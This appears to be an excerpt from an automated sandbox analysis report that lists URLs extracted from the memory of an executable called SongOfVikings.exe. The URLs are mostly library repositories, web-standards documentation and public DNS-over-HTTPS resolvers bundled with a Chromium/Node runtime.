Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiming
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equa
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://developers.google.com/android/guides/setup
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://developers.google.com/speed/public-dns/privacy
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://developers.google.com/speed/public-dns/privacyGoogle
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns.google/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns.quad9.net/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns.quad9.net/dns-querydns.quad9.netdns9.quad9.net9.9.9.9149.112.112.1122620:fe::fe2620:fe::
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns.sb/privacy/
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns.sb/privacy/DNS.SBhttps://doh.dns.sb/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns10.quad9.net/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns10.quad9.net/dns-querydns10.quad9.net9.9.9.10149.112.112.102620:fe::102620:fe::fe:10
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns11.quad9.net/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11(
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dns64.dns.google/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://dnsnl.alekberg.net/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.cox.net/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.cox.net/dns-querydot.cox.net68.105.28.1168.105.28.122001:578:3f::30
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.dns.sb/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.familyshield.opendns.com/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.opendns.com/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.quickline.ch/dns-query
Source: SongOfVikings.exe, 00000005.00000000.1942201122.00007FF692ACA000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: https://doh.xfinity.com/dns-query
Source: SongOfVikings.exe, 00000000.00000003.1903858433.0000000006525000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ejemplo.com.Se
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://encoding.spec.whatwg.org
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://encoding.spec.whatwg.org/#encode-and-enqueue-a-chunk
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://encoding.spec.whatwg.org/#encode-and-flush
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://encoding.spec.whatwg.org/#textdecoder
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://encoding.spec.whatwg.org/#textencoder
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://esdiscuss.org/topic/isconstructor#content-11
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://example.org
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://example.orgExpired
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://fetch.spec.whatwg.org/
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://fetch.spec.whatwg.org/#fetch-timing-info
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://git.io/debug_fd)
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://git.savannah.gnu.org/cgit/config.git/plain/config.guess
Source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://git.savannah.gnu.org/cgit/config.git/plain/config.sub
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Cyan4973/xxHash
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/GoogleChromeLabs/text-fragments-polyfill
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Cross
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Headers.git
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Tools.git
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/KhronosGroup/Vulkan-Headers
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/KhronosGroup/Vulkan-Loader
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/RyanZim/universalify#readme
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/RyanZim/universalify.git
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Squirrel/Squirrel.Mac
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/TooTallNate/util-deprecate
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/WICG/scheduling-apis
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/WebAssembly/esm-integration/issues/42
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/WebBluetoothCG/web-bluetooth/blob/main/implementation-status.md
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/aawc/unrar.git
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/addaleax/eventemitter-asyncresource
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/ashtuchkin/iconv-lite
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Javascript-source-file-encodings
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/broofa/node-mime
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/chalk/ansi-regex/blob/HEAD/index.js
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/chalk/supports-color
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/chromium/chromium/blob/HEAD/third_party/blink/public/platform/web_crypto_algorith
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/facebook/react-native/pull/1632
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/feross/safe-buffer
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/repairES5.js
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/startSES.js
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/wiki/Source-Maps
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/diff-match-patch/tree/master/javascript
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/distributed_point_functions
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/google-api-cpp-client/
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/ruy
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/ukey2
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/woff2
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/wuffs-mirror-release-c
Source: SongOfVikings.exe, 00000000.00000003.1845802895.00000000051B2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/xnnpack
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/heycam/webidl/pull/946.
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/iarna/unique-filename
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/iarna/unique-filename.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/iarna/wide-align
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/isaacs/color-support.
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/isaacs/minipass.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/isaacs/node-tar.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/isaacs/yallist.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/joyent/node
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/joyent/node/issues/1726
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/juliangruber/brace-expansion
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/libuv/libuv/pull/1501.
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/end-of-stream
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/pump
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/tar-fs
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/tar-fs.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/tar-stream
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mafintosh/tar-stream.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mikeal/tunnel-agent
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/mysticatea/abort-controller
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node-addon-api
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node-addon-api#collaborators)
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node-addon-api/issues
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/19009
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/34532
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/35452
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/35475
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/35862
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/35981
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/39707
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/39758
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/issues/45699
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/12607
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/26334.
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/27791
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/30380#issuecomment-552948364
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/32887
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/33515.
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/33661
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/34010
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/34103#issuecomment-652002364
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/34375
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/34385
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/35941
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/35949#issuecomment-722496598
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/36061#discussion_r533718029
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/38248
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/38433#issuecomment-828426932
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/38614)
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/43714
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/44952
Source: SongOfVikings.exe, 00000000.00000003.1836622176.0000000007310000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/node/pull/46161
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/nodejs/string_decoder
Source: SongOfVikings.exe, 00000000.00000003.1906818857.00000000051B4000.00000004.00000020.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/node-semver.git
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/node-tar/blob/51b6627a1f357d2eb433e7378e5f05e83b7aa6cd/lib/header.js#L349
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/node-tar/issues/183
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/node-tar/pull/187
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/ssri
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/npm/wrappy
Source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/sponsors/sindresorhus
